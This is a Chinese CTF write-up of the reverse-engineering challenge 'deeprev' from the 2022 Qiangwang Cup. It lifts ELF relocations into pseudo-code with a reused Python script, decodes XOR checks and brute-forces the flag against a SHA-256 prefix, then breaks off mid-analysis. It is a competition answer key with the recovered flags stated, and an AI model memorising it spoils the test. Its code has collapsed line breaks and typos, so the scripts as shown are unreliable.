第六届强网杯全国网络安全挑战赛WP

白帽子社区

共 54998字,需浏览 110分钟

 ·

2022-08-03 01:51

本文来自“白帽子社区知识星球”

作者:WHT战队



白帽子社区知识星球

加入星球,共同进步

WHT战队招新:


  • WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。

  • 有半年以上CTF竞赛经验的。

  • 包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。

  • 加分项:有一年以上CTF竞赛经验的各方向CTFer。


    有意向的师傅请扫描二维码联系我们

01

Re

1.deeprev

与GoogleCTF 2022 eldar相同,用作者的脚本dump


# Author: hgarrereyn# Desc: Lifter solution for GoogleCTF 2022 eldar
import lieffrom collections import namedtuplefrom dataclasses import dataclassfrom typing import Anyfrom capstone import *from z3 import *import numpy as np
md = Cs(CS_ARCH_X86, CS_MODE_64)
b = Nonetry: b = lief.ELF.parse('./deeprev')except: raise Exception('Must have the ./eldar binary in cwd')
rela = [x for x in b.sections if x.name == '.rela.dyn'][0]dynsym = [x for x in b.sections if x.name == '.dynsym'][0]

@dataclassclass Symbol(object): idx: int def __repr__(self): return f's{self.idx}'
@dataclassclass Reloc(object): idx: int def __repr__(self): return f'r{self.idx}'
@dataclassclass Ref(object): val: Any def __repr__(self): return f'&{self.val}'
@dataclassclass SymAddr(object): sym: Symbol field: str def __repr__(self): return f'{self.sym}.{self.field}'
@dataclassclass RelocAddr(object): reloc: Reloc field: str def __repr__(self): return f'{self.reloc}.{self.field}'
def vaddr(self): off = 0 match self.field: case 'r_address':off = 0 case 'r_info': off = 8 case 'r_addend': off = 16
return (self.reloc.idx * 24) + off + rela.virtual_address
@dataclassclass FlagAddr(object): idx: int def __repr__(self): return f'flag[{self.idx}]'
@dataclassclass OutAddr(object): idx: int
def __repr__(self): return f'out[{self.idx}]'
@dataclassclass ArrAddr(object): idx: int
def __repr__(self): return f'arr[{self.idx}]'
BaseAddr = namedtuple('baseaddr', [])FailAddr = namedtuple('fail', [])
def format_addr(addr: int): if addr >= rela.virtual_address and addr < rela.virtual_address + rela.size: offset = addr - rela.virtual_address r_offset = (offset // 24) r_rem = offset % 24
if r_offset >= 3 and r_offset <= 88: arr_idx = (r_offset - 3) * 3 + (r_rem // 8) return ArrAddr(arr_idx) elif r_offset == 89: return OutAddr(r_rem)
match r_rem: case 0: return RelocAddr(Reloc(r_offset), 'r_address') case 8: return RelocAddr(Reloc(r_offset), 'r_info') case 16: return RelocAddr(Reloc(r_offset), 'r_addend') case _: return RelocAddr(Reloc(r_offset), r_rem) elif addr > dynsym.virtual_address and addr < dynsym.virtual_address + dynsym.size: offset = addr - dynsym.virtual_address r_offset = (offset // 24) r_rem = offset % 24
match r_rem: case 0: return SymAddr(Symbol(r_offset), 'st_name') case 8: return Symbol(r_offset) case 16: return SymAddr(Symbol(r_offset), 'st_size') case _: return SymAddr(Symbol(r_offset), r_rem) elif addr >= 0x404040 and addr < 0x404040+29: off = addr-0x404040 return FlagAddr(off) elif addr == 0x804000: return BaseAddr() elif addr == 0x404060: return FailAddr() else: return addr
def to_sym(name): assert len(name) == 1 return Symbol(ord(name[0]))
Rel = namedtuple('REL', ['dst','val','ridx'])Copy = namedtuple('CPY', ['dst', 'symbol', 'ridx'])R64 = namedtuple('R64', ['dst','symbol','addend','ridx'])R32 = namedtuple('R32', ['dst','symbol','addend','ridx'])
def parse(b) -> list: print('[*] Loading relocations...') relocs = list(b.relocations)
print('[*] Parsing...') instructions = [] for i in range(3, len(relocs)): r = relocs[i] match r.type: case 1: # R64 instructions.append(R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i)) case 5: # CPY instructions.append(Copy(format_addr(r.address), to_sym(r.symbol.name), i)) case 8: # REL instructions.append(Rel(format_addr(r.address), format_addr(r.addend), i)) case 10: # R32 instructions.append(R32(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
return instructions
Mov = namedtuple('mov', ['dst', 'src', 'sz', 'ridx'])Add = namedtuple('add', ['dst', 'src', 'addend', 'ridx'])
def lift_mov_add(instructions): idx = 0
sizes = [] curr = [8] * 8 sizes.append(curr)
for instr in instructions: c = list(curr) match instr: case Rel(SymAddr(Symbol(idx), 'st_size'), val, ridx): c[idx] = val sizes.append(c)
while idx < len(instructions): match instructions[idx]: case Rel(dst, val, ridx): instructions[idx] = Mov(dst, Ref(val), 8, ridx) case Copy(dst, sym, ridx): instructions[idx] = Mov(dst, sym, sizes[idx][sym.idx], ridx) case R64(dst, sym, add, ridx): instructions[idx] = Add(dst, sym, add, ridx) idx += 1 return instructions
def remove_sizes(instructions): # Sizes are now nops idx = 0 while idx < len(instructions): match instructions[idx]: case Mov(SymAddr(Symbol(s), 'st_size'), _, _, _) if s != 3: instructions[idx:idx+1] = []
idx += 1 return instructions
def lift_indirect(instructions): # [0349] :: mov r350.r_addend, s2 # [0350] :: add s4, s4, 0 # [0351] :: mov r350.r_addend, &0 idx = 0 while idx < len(instructions): match instructions[idx:idx+3]: case [ Mov(RelocAddr(Reloc(rel_1), 'r_addend'), Symbol(sidx_1), sz_1, ridx_1), Add(dst_2, sym_2, _, ridx_2), Mov(RelocAddr(Reloc(rel_3), 'r_addend'), Ref(0), sz_3, _), ] if ( (rel_1 == ridx_2) and (rel_3 == ridx_2) ): instructions[idx:idx+3] = [ Add(dst_2, sym_2, Symbol(sidx_1), ridx_1) ]
idx += 1 return instructions
Block = namedtuple('block', ['arr', 'flag', 'ridx'])Output = namedtuple('output', ['out', 'arr', 'ridx'])
def lift_block(instructions): # [0378] :: mov s2, &arr[1] # [0008] :: add s4, s4, s2 # [0382] :: mov s2, &flag[1] # [0384] :: movb s7, s2 # [0385] :: mov s2, &s7 # [0008] :: add s4, s4, s2 # [0390] :: r32 s4.st_value_p1, s1, 0 # [0391] :: mov s2, &arr[1] # [0392] :: mov s6, s2 # [0393] :: mov s2, &s4 # [0008] :: add s5, s4, s2 # [0397] :: mov s2, &s5 # [0008] :: add s5, s5, s2 # [0008] :: add s5, s5, s2 # [0404] :: add s5, s5, arr[0] # [0405] :: mov arr[1], s5 # [0406] :: mov r407.r_address, s2 # [0407] :: add 0, s6, 0 idx = 0 while idx < len(instructions): match instructions[idx:idx+18]: case [ Mov(_,arr,_,ridx), Add(_,_,_,_), Mov(_,flag,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), R32(_,_,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), Add(_,_,_,_), Add(_,_,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), ]: instructions[idx:idx+18] = [ Block(arr, flag, ridx) ] idx += 1 return instructions
Reset = namedtuple('reset', ['ridx'])ShuffleBlock = namedtuple('shuffleblock', ['f1', 'f2', 'ridx'])
def lift_reset(instructions): idx = 0 while idx < len(instructions) - 256: good = True
for i in range(256): op = instructions[idx+i] if type(op) == Mov: dst, src, _, _ = op if dst != ArrAddr(i) or src != Ref(i): good = False break else: good = False break
if good: instructions[idx:idx+256] = [Reset(instructions[idx].ridx)]
idx += 1 return instructions
def lift_shuffle_block(instructions): idx = 0 while idx < len(instructions) - 256: good = True
for i in range(256): op = instructions[idx+i] if type(op) == Block: arr, flag, ridx = op if arr != Ref(ArrAddr(i)): good = False break else: good = False break
if good: instructions[idx:idx+256] = [ShuffleBlock(instructions[idx].flag, instructions[idx+1].flag, instructions[idx].ridx)]
idx += 1 return instructions
Output = namedtuple('output', ['out', 'arr', 'ridx'])
def lift_output(instructions): idx = 0 while idx < len(instructions): match instructions[idx:idx+26]: case [ Mov(_,arr,_,ridx), Add(_,_,_,_), R32(_,_,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), Add(_,_,_,_), Add(_,_,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), R32(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), Mov(_,_,_,_), Add(_,_,_,_), Add(_,_,_,_), Add(_,_,_,_), Mov(out,_,_,_), ]: instructions[idx:idx+26] = [Output(out, arr, ridx)] idx += 1 return instructions
MultAdd = namedtuple('multadd', ['out', 'val', 'k', 'ridx'])
def lift_multadd(instructions): idx = 0 while idx < len(instructions): match instructions[idx:idx+3]: # block prefix case [ Mov(Symbol(2), out, _, ridx), Mov(Symbol(5), Symbol(2), _, _), Mov(Symbol(6), Ref(0), _, _), ]: k = 0 double = False
ptr = idx + 3
good = True while ptr < len(instructions): match instructions[ptr]: case Mov(Symbol(2), Ref(Symbol(6)), _, _): double = True case Mov(Symbol(2), Ref(Symbol(5)), _, _): double = False case Add(Symbol(6), Symbol(6), Symbol(2), _): k = (k * 2) if double else (k + 1) case Add(Symbol(7), Symbol(7), Symbol(2), _): ptr += 1 break case _: good = False break
ptr += 1
if good: instructions[idx:ptr] = [ MultAdd(Symbol(7), out, k, ridx) ]
idx += 1
return instructions
Trunc = namedtuple('trunc', ['val', 'k', 'ridx'])
def lift_truncate(instructions): idx = 0 while idx < len(instructions): match instructions[idx:idx+2]: case [ Mov(Symbol(2), Ref(SymAddr(Symbol(5), 11)), _, ridx), Mov(SymAddr(Symbol(7), 11), Symbol(2), 5, _) ]: instructions[idx:idx+2] = [ Trunc(Symbol(7), 0xffffff, ridx)] idx += 1 return instructions
ArraySlots = namedtuple('arr', ['values', 'ridx'])
def lift_array_slots(instructions): idx = 0 while idx < len(instructions): match instructions[idx]: case Mov(BaseAddr(), Ref(0), _, ridx): ptr = idx+1 while ptr < len(instructions): op = instructions[ptr] if type(op) != Mov or op.dst != BaseAddr(): break ptr += 1
start = idx end = ptr
data = []
# Check for movs into array. vstart = RelocAddr(Reloc(ridx), 'r_address').vaddr() offset = 0 while end + offset < len(instructions) and offset < ((end - start) * 3): op = instructions[end + offset] if type(op) == Mov and type(op.dst) is RelocAddr and op.dst.vaddr() == vstart + (offset * 8): data.append(op.src.val) else: break offset += 1
if len(data) > 0: data += [0] * (((end - start) * 3) - len(data)) instructions[idx:end+offset] = [ ArraySlots(data, ridx) ]
idx += 1 return instructions
Shellcode = namedtuple('shellcode', ['dst', 'code', 'ridx'])
def lift_shellcode(instructions): idx = 0 while idx < len(instructions): match instructions[idx:idx+6]: case [ ArraySlots(values, ridx), Mov(Symbol(3), Ref(RelocAddr(Reloc(rel2), 'r_address')), _, _), Mov(SymAddr(Symbol(3), 'st_name'), _, _, _), Add(dst, Symbol(3), _, _), Mov(Symbol(2), _, _, _), Mov(RelocAddr(Reloc(rel6), 'r_address'), Symbol(2), _, _) ] if (rel2 == ridx) and (rel6 == ridx): instructions[idx:idx+6] = [ Shellcode(dst, b''.join([(x & 0xffffffffffffffff).to_bytes(8, 'little') for x in values]), ridx) ] idx += 1 return instructions
Aop = namedtuple('aop', ['dst', 'op', 'val', 'k', 'ridx'])
def lift_aop(instructions): idx = 0 while idx < len(instructions): match instructions[idx:idx+5]: case [ Mov(Symbol(2), val, _, ridx), Mov(Symbol(5), Symbol(2), _, _), Shellcode(_, data, _), Mov(Symbol(2), Ref(Symbol(5)), _, _), Add(dst, dst2, Symbol(2), _) ] if len(data) == 24 and (dst == dst2): op = next(md.disasm(data, 0))
t = op.mnemonic k = int(op.op_str.split(', ')[-1], 16)
instructions[idx:idx+5] = [ Aop(dst, t, val, k, ridx) ]
idx += 1 return instructions
def solve_end_flag(instructions): orig = [BitVec('f%d' % i, 8) for i in range(16,28)] flag = ([0] * 16) + [ZeroExt(24, x) for x in orig]
s = Solver() for o in orig: s.add(UGT(o, 0x20)) s.add(ULT(o, 0x7f))
idx = 0 while idx < len(instructions): match instructions[idx]: case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int: x = BitVecVal(v, 32)
ptr = idx+1 while ptr < len(instructions): match instructions[ptr]: case MultAdd(Symbol(7), Ref(FlagAddr(f)), k, _): x += (flag[f] * k) case Aop(Symbol(7), op, Ref(FlagAddr(f)), k, _): v = None match op: case 'and': v = flag[f] & k case 'xor': v = flag[f] ^ k case 'or': v = flag[f] | k case 'rol': v = ZeroExt(24, RotateLeft(Extract(7,0,flag[f]), k)) case 'ror': v = ZeroExt(24, RotateRight(Extract(7,0,flag[f]), k)) case 'shl': v = ZeroExt(24, Extract(7,0,flag[f]) << k) case 'shr': v = flag[f] >> k case _: raise Exception(f'unknown aop: {op}') x += v case Trunc(Symbol(7), k, _): s.add(x == 0) case _: break
ptr += 1
idx += 1
print('solving...') print(s.check())
m = s.model() flag = bytes([m.eval(o).as_long() for o in orig])
return flag
def solve_out_arr(instructions): X = [] Y = []
idx = 0 while idx < len(instructions): match instructions[idx]: case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int: row = []
ptr = idx+1 while ptr < len(instructions): match instructions[ptr]: case MultAdd(Symbol(7), Ref(OutAddr(_)), k, _): row.append(k) case Trunc(Symbol(7), k, _): X.append(row) Y.append(-v) case _: break
ptr += 1
idx += 1
a = np.array(X, dtype=np.uint32) b = np.array(Y, dtype=np.uint32)
return [int(x) for x in np.linalg.solve(a,b)]
def solve_start_flag(output): def sim(a,b): arr = list(range(256))
z = 0 for i in range(256): p = a if i % 2 == 0 else b z = (z + arr[i] + p) & 0xff arr[i], arr[z] = arr[z], arr[i]
out = [0,0,0] z = 0 for i in range(3): z = (z + arr[i]) & 0xff arr[i], arr[z] = arr[z], arr[i] out[i] = arr[(arr[i] + arr[z]) & 0xff]
return out
def solve_chunk(k1,k2,k3): # Brute force chunk. for a in range(0x20, 0x7f): for b in range(0x20, 0x7f): out = sim(a,b)
if abs(out[0] - k1) <= 1 and abs(out[1] - k2) <= 1 and abs(out[2] - k3) <= 1: return (a,b)
return None
f = [] for i in range(0,len(output),3): f += list(solve_chunk(*output[i:i+3]))
return bytes(f)
def dump(instructions): for op in instructions: match op: case Mov(SymAddr(sym, 'st_name'), Ref(val), 8, ridx) if type(val) is int: name = val & 0xffffffff info = (val >> 4) & 0xff other = (val >> 5) & 0xff shndx = (val >> 6) & 0xffff print(f'[{ridx:04d}] :: setinfo {sym}, name=0x{name:x}, info=0x{info:x}, other=0x{other:x}, shndx=0x{shndx:x}') case Mov(BaseAddr(), Ref(0), _, ridx): print(f'[{ridx:04d}] :: [ARRAY SLOT]') case Mov(dst, src, 8, ridx): print(f'[{ridx:04d}] :: mov {dst}, {src}') case Mov(dst, src, sz, ridx): print(f'[{ridx:04d}] :: mov({sz}) {dst}, {src}') case Add(dst, src, add, ridx): print(f'[{ridx:04d}] :: add {dst}, {src}, {add}') case R32(dst, src, add, ridx): print(f'[{ridx:04d}] :: r32 {dst}, {src}, {add}') case Block(arr, flag, ridx): print(f'[{ridx:04d}] :: shuffle {arr}, {flag}') case Output(out, arr, ridx): print(f'[{ridx:04d}] :: output {out}, {arr}') case ShuffleBlock(f1, f2, ridx): print(f'[{ridx:04d}] :: shuffleblock {f1}, {f2}') case MultAdd(dst, val, k, ridx): print(f'[{ridx:04d}] :: madd {dst} += ({val} * {k})') case Aop(dst, op, val, k, ridx): print(f'[{ridx:04d}] :: aop {dst} += ({val} {op} {k})') case Reset(ridx): print(f'[{ridx:04d}] :: reset') case Trunc(val, k, ridx): print(f'[{ridx:04d}] :: trunc {val} &= 0x{k:x}') case ArraySlots(values, ridx): print(f'[{ridx:04d}] :: array [{", ".join([hex(x) for x in values])}]') case Shellcode(dst, code, ridx): print(f'[{ridx:04d}] :: exec {dst} <- {code.hex()}') print('-' * 20) for i in md.disasm(code, 0): if i.mnemonic == 'ret': break print(" 0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str.replace('0x8040e4', 's5').replace('0x8040cc', 's4'))) print('-' * 20) case _: print(op)
LIFTS = [ lift_mov_add, remove_sizes, lift_indirect, lift_block, lift_reset, lift_shuffle_block, lift_output, lift_multadd, lift_truncate, lift_array_slots, lift_shellcode, lift_aop,]
def lift(instructions): for lift_fn in LIFTS: print(f'[*] {lift_fn.__name__}...') instructions = lift_fn(instructions) return instructions
instructions = parse(b)instructions = lift(instructions)dump(instructions)'''out = solve_out_arr(instructions)start = solve_start_flag(out)end = solve_end_flag(instructions)
# CTF{H0p3_y0u_l1k3_3LF_m4g1c}print(start + end)'''



(re) PS E:\2022\7\qwb\deeprev\attachment> python.\dump.py[*] Loading relocations...[*] Parsing...[*] lift_mov_add...[*] remove_sizes...[*] lift_indirect...[*] lift_block...[*] lift_reset...[*] lift_shuffle_block...[*] lift_output...[*] lift_multadd...[*] lift_truncate...[*] lift_array_slots...等待。。。得到伪代码[*] Loading relocations...[*] Parsing...[*] lift_mov_add...[*] remove_sizes...[*] lift_indirect...[*] lift_block...[*] lift_reset...[*] lift_shuffle_block...[*] lift_output...[*] lift_multadd...[*] lift_truncate...[*] lift_array_slots...[*] lift_shellcode...[*] lift_aop...REL(dst=baseaddr(), val=0, ridx=3)REL(dst=baseaddr(), val=0, ridx=4)[0005] :: mov s2, &flag[0][0007] :: mov(1) s4, s2[0008] :: [ARRAY SLOT][0009] :: mov arr[15], &1585408084625667200[0010] :: mov arr[16], &195[0011] :: mov s3, &arr[15][0012] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0013] :: add arr[15], s3, 0[0014] :: mov s2, &r101002.r_address[0016] :: mov(24) arr[15], s2[0017] :: [ARRAY SLOT][0018] :: mov arr[42], &141015791240320[0019] :: mov arr[43], &195[0020] :: mov s3, &arr[42][0021] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0022] :: add arr[42], s3, 0[0023] :: mov arr[42], s2[0024] :: mov s2, &s4[0026] :: mov(1) arr[0], s2[0027] :: mov s2, &flag[1][0028] :: mov s4, s2[0029] :: [ARRAY SLOT][0030] :: mov arr[78], &1657465678663595136[0031] :: mov arr[79], &195[0032] :: mov s3, &arr[78][0033] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0034] :: add arr[78], s3, 0[0035] :: mov s2, &r101002.r_address[0037] :: mov(24) arr[78], s2[0038] :: [ARRAY SLOT][0039] :: mov arr[105], &72198609829168256[0040] :: mov arr[106], &195[0041] :: mov s3, &arr[105][0042] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0043] :: add arr[105], s3, 0[0044] :: mov arr[105], s2[0045] :: mov s2, &s4[0047] :: mov(1) arr[0], s2[0048] :: mov s2, &flag[2][0049] :: mov s4, s2[0050] :: [ARRAY SLOT][0051] :: mov arr[141], &1153062520398099584[0052] :: mov arr[142], &195[0053] :: mov s3, &arr[141][0054] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0055] :: add arr[141], s3, 0[0056] :: mov s2, &r101002.r_address[0058] :: mov(24) arr[141], s2[0059] :: [ARRAY SLOT][0060] :: mov arr[168], &144256203867096192[0061] :: mov arr[169], &195[0062] :: mov s3, &arr[168][0063] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0064] :: add arr[168], s3, 0[0065] :: mov arr[168], s2[0066] :: mov s2, &s4[0068] :: mov(1) arr[0], s2[0069] :: mov s2, &flag[3][0070] :: mov s4, s2[0071] :: [ARRAY SLOT][0072] :: mov arr[204], &1297177708473955456[0073] :: mov arr[205], &195[0074] :: mov s3, &arr[204][0075] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0076] :: add arr[204], s3, 0[0077] :: mov s2, &r101002.r_address[0079] :: mov(24) arr[204], s2[0080] :: [ARRAY SLOT][0081] :: mov arr[231], &216313797905024128[0082] :: mov arr[232], &195[0083] :: mov s3, &arr[231][0084] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0085] :: add arr[231], s3, 0[0086] :: mov arr[231], s2[0087] :: mov s2, &s4[0089] :: mov(1) arr[0], s2[0090] :: mov s2, &flag[4][0091] :: mov s4, s2[0092] :: exec r92.r_address <-803425cc40800010c3000000000000000000000000000000--------------------   0x0:     xor  byteptr [s4], 0x10--------------------[0101] :: array [0x4008040cc250480, 0xc3, 0x0][0104] :: mov s3, &r101.r_address[0105] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0106] :: add r101.r_address, s3, 0[0107] :: mov r101.r_address, s2[0108] :: mov s2, &s4[0110] :: mov(1) arr[0], s2[0111] :: mov s2, &flag[5][0112] :: mov s4, s2[0113] :: exec r113.r_address <-803425cc40800011c3000000000000000000000000000000--------------------   0x0:     xor  byteptr [s4], 0x11--------------------[0122] :: array [0x5008040cc250480, 0xc3, 0x0][0125] :: mov s3, &r122.r_address[0126] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0127] :: add r122.r_address, s3, 0[0128] :: mov r122.r_address, s2[0129] :: mov s2, &s4[0131] :: mov(1) arr[0], s2
flag[0][0009] :: mov arr[15], &1585408084625667200[0018] :: mov arr[42], &141015791240320flag[1][0030] :: mov arr[78], &1657465678663595136[0039] :: mov arr[105], &72198609829168256flag[2][0051] :: mov arr[141], &1153062520398099584[0060] :: mov arr[168], &144256203867096192flag[3][0072] :: mov arr[204], &1297177708473955456[0081] :: mov arr[231], &216313797905024128flag[4][0092] :: exec r92.r_address <-803425cc40800010c3000000000000000000000000000000-------------------- 0x0: xor byte ptr [s4], 0x10--------------------[0101] :: array [0x4008040cc250480, 0xc3, 0x0]flag[5][0113] :: exec r113.r_address <-803425cc40800011c3000000000000000000000000000000-------------------- 0x0: xor byte ptr [s4], 0x11--------------------[0122] :: array [0x5008040cc250480, 0xc3, 0x0]


分别转换成汇编得到

脚本


nums = [1585408084625667200,141015791240320,1657465678663595136,72198609829168256,1153062520398099584,144256203867096192,1297177708473955456,216313797905024128,0x4008040cc250480,0x5008040cc250480]for num in nums:   shellcode = num.to_bytes(8,'little')   print(shellcode)   from capstone import *   md = Cs(CS_ARCH_X86, CS_MODE_32)#初始化类,给两个参数(硬件架构和硬件模式)   for i in md.disasm(shellcode,0x00):#disasm 反汇编这段HEX, 它的参数是shellcode和起始地址。
print("0x%x:\t%s\t%s"%(i.address, i.mnemonic, i.op_str))#打印地址和操作数。 print('\n')


结果


flag[0][0009] :: mov arr[15], &1585408084625667200b'\x804%\xcc@\x80\x00\x16'0x0:   xor     byte ptr[0x8040cc], 0x16[0018] :: mov arr[42], &141015791240320b'\x80\x04%\xcc@\x80\x00\x00'0x0:   add     byte ptr[0x8040cc], 0flag[1][0030] :: mov arr[78], &1657465678663595136b'\x804%\xcc@\x80\x00\x17'0x0:   xor     byte ptr[0x8040cc], 0x17[0039] :: mov arr[105], &72198609829168256b'\x80\x04%\xcc@\x80\x00\x01'0x0:   add     byte ptr[0x8040cc], 1flag[2][0051] :: mov arr[141], &1153062520398099584b'\x804%\xcc@\x80\x00\x10'0x0:   xor     byte ptr[0x8040cc], 0x10[0060] :: mov arr[168], &144256203867096192b'\x80\x04%\xcc@\x80\x00\x02'0x0:   add     byte ptr[0x8040cc], 2flag[3][0072] :: mov arr[204], &1297177708473955456b'\x804%\xcc@\x80\x00\x12'0x0:   xor     byte ptr[0x8040cc], 0x12[0081] :: mov arr[231], &216313797905024128b'\x80\x04%\xcc@\x80\x00\x03'0x0:   add     byte ptr[0x8040cc], 3flag[4][0092] :: exec r92.r_address <-803425cc40800010c3000000000000000000000000000000-------------------- 0x0:    xor  byte ptr [s4], 0x10--------------------[0101] :: array [0x4008040cc250480, 0xc3, 0x0]b'\x80\x04%\xcc@\x80\x00\x04'0x0:   add     byte ptr[0x8040cc], 4flag[5][0113] :: exec r113.r_address <-803425cc40800011c3000000000000000000000000000000-------------------- 0x0:    xor  byte ptr [s4], 0x11--------------------[0122] :: array [0x5008040cc250480, 0xc3, 0x0]b'\x80\x04%\xcc@\x80\x00\x05'0x0:   add     byte ptr[0x8040cc], 5


可以看出是对flag进行了异或加常数,然后通过xor检验,把所有异或的数和校验的数提取出来,异或得到flag28个字符


xor_key =[0x16,0x17,0x10,0x12,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x24,0x2c,0x26,0x1e,0x1f,0x20,0x20,0x21,0x23,0x27,0x24,0x25,0x26,0x27,]c = [0x70,0x7c,0x73,0x78,0x6f,0x27,0x2a,0x2c,0x7f,0x35,0x2d,0x32,0x37,0x3b,0x22,0x59,0x53,0x8e,0x3d,0x2a,0x59,0x27,0x2d,0x29,0x34,0x2d,0x61,0x32,]flag = ''for i in range(len(c)):   flag+=(chr(xor_key[i]^(c[i]-i)))print(flag)#flag{366c950370fec47e34581a0


根据后面的代码知道flag后面还有四个字符

根据提示sha256(flag)[0:16] = f860464d767610bb

可爆破得到


import hashlibimport itertools as ittemp = 'flag{366c950370fec47e34581a0'for e init.permutations('1234567890abcdefghijklmnopqrstuvwxyz', 3):   flag = temp + ''.join(e)   flag += '}'   if hashlib.sha256(flag.encode()).hexdigest()[0:16]== 'f860464d767610bb':       print(flag)#flag{366c950370fec47e34581a0574}


对后面的代码继续分析


[1073] :: mov s6, &0[1074] :: mov s2, &flag[28][1075] :: mov s6, s2          s6 = flag[28][1076] :: mov s2, &4210781[1077] :: mov s7, s2          s7 = flag[29][1078] :: mov s8, &0          s8 = 0[1079] :: mov s2, &s8         s2 = 0[1080] :: add s8, s8, s2      s8 = s8 + s2 = 0[1083] :: mov s2, &s6         s2 = s6[1084] :: add s8, s8, s2      s8 = s8 + s2 = s6 = flag[28][1087] :: mov s9, &0          s9 = 0[1088] :: mov s2, &s9         s2 = 0[1089] :: add s9, s9, s2      s9 = s9 + s2 = 0[1092] :: mov s2, &s7         s2 = s7[1093] :: add s9, s9, s2      s9 = s9 + s2 = s7 = flag[29][1096] :: mov s2, &s9         s2 = s9 = flag[29][1097] :: add s10, s8, s2     s10 = s8 + s2 = flag[28] + flag[29][1100] :: exec r1100.r_address <-8034255c4180006cc3000000000000000000000000000000--------------------   0x0:     xor  byteptr [0x80415c], 0x6c--------------------[1109] :: mov s2, &s10[1111] :: add s5, s5, s2[1114] :: mov s6, &0[1115] :: mov s7, &0[1116] :: mov s8, &0[1117] :: mov s9, &0[1118] :: mov s10, &0[1119] :: mov s2, &flag[28]   s2 = flag[28][1120] :: mov s6, s2          s6 = s2 = flag[28][1121] :: mov s2, &4210781    s2 = flag[29][1122] :: mov s7, s2          s7 = s2 = flag[29][1123] :: mov s8, &0          s8 = 0[1124] :: mov s2, &s8         s2 = s8 =0[1125] :: add s8, s8, s2      s8 = s8 + s2 = 0[1128] :: mov s2, &s6         s2 = s6[1129] :: add s8, s8, s2      s8 = s8 + s2 = flag[28][1132] :: mov s2, &s8         s2 = s8 = flag[28][1133] :: add s8, s8, s2      s8 = s8 + s2 = flag[28] + flag[28][1136] :: mov s9, &0          s9 = 0[1137] :: mov s2, &s9         s2 = s9 = 0[1138] :: add s9, s9, s2      s9 = s9 + s2 = 0[1141] :: mov s2, &s7         s2 = s7 = flag[29][1142] :: add s9, s9, s2      s9 = s9 + s2 = flag[29][1145] :: mov s2, &s9         s2 = s9 = flag[29][1146] :: add s10, s8, s2     s10 = s8 + s2 = 2*flag[28] + flag[29][1149] :: exec r1149.r_address <-8034255c418000a1c3000000000000000000000000000000--------------------   0x0:     xor  byteptr [0x80415c], 0xa1--------------------[1158] :: mov s2, &s10    
[1160] :: add s5, s5, s2
[1163] :: mov s6, &0 s6 = 0[1164] :: mov s7, &0 s7 = 0[1165] :: mov s8, &0 s8 = 0[1166] :: mov s9, &0 s9 = 0[1167] :: mov s10, &0 s10 = 0[1168] :: mov s2, &4210782 s2 = flag[30][1169] :: mov s6, s2 s6 = s2 = flag[30][1170] :: mov s2, &4210783 s2 = flag[31][1171] :: mov s7, s2 s7 = s2 = flag[31][1172] :: mov s8, &0 s8 = 0[1173] :: mov s2, &s8 s2 = s8 = 0[1174] :: add s8, s8, s2 s8 = s8 + s2 = 0 [1177] :: mov s2, &s6 s2 = s6 = flag[30][1178] :: add s8, s8, s2 s8 = s8 + s2 = flag[30][1181] :: mov s9, &0 s9 = 0[1182] :: mov s2, &s9 s2 = s9 = 0[1183] :: add s9, s9, s2 s9 = s9 + s2 = 0[1186] :: mov s2, &s7 s2 = s7 = flag[31][1187] :: add s9, s9, s2 s9 = s9 + s2 = flag[31][1190] :: mov s2, &s9 s2 = s9 = flag[31][1191] :: add s10, s8, s2 s10 = s8 + s2 = flag[30] + flag[31][1194] :: exec r1194.r_address <-8034255c418000b1c3000000000000000000000000000000-------------------- 0x0: xor byteptr [0x80415c], 0xb1--------------------[1203] :: mov s2, &s10[1205] :: add s5, s5, s2[1208] :: mov s6, &0 s6 = 0[1209] :: mov s7, &0 s7 = 0[1210] :: mov s8, &0 s8 = 0[1211] :: mov s9, &0 s9 = 0[1212] :: mov s10, &0 s10 = 0[1213] :: mov s2, &4210782 s2 = flag[30][1214] :: mov s6, s2 s6 = s2 = flag[30][1215] :: mov s2, &4210783 s2 = flag[31][1216] :: mov s7, s2 s7 = s2 = flag[31][1217] :: mov s8, &0 s8 = 0[1218] :: mov s2, &s8 s2 = s8 = 0[1219] :: add s8, s8, s2 s8 = s8 + s2 = 0 [1222] :: mov s2, &s6 s2 = s6 = flag[30][1223] :: add s8, s8, s2 s8 = s8 + s2 = flag[30][1226] :: mov s2, &s8 s2 = s8 = flag[30][1227] :: add s8, s8, s2 s8 = s8 + s2 = 2*flag[30][1230] :: mov s9, &0 s9 = 0[1231] :: mov s2, &s9 s2 = s9 = 0[1232] :: add s9, s9, s2 s9 = s9 + s2 = 0[1235] :: mov s2, &s7 s2 = s7 = flag[31][1236] :: add s9, s9, s2 s9 = s9 + s2 = flag[31][1239] :: mov s2, &s9 s2 = s9 = flag[31][1240] :: add s10, 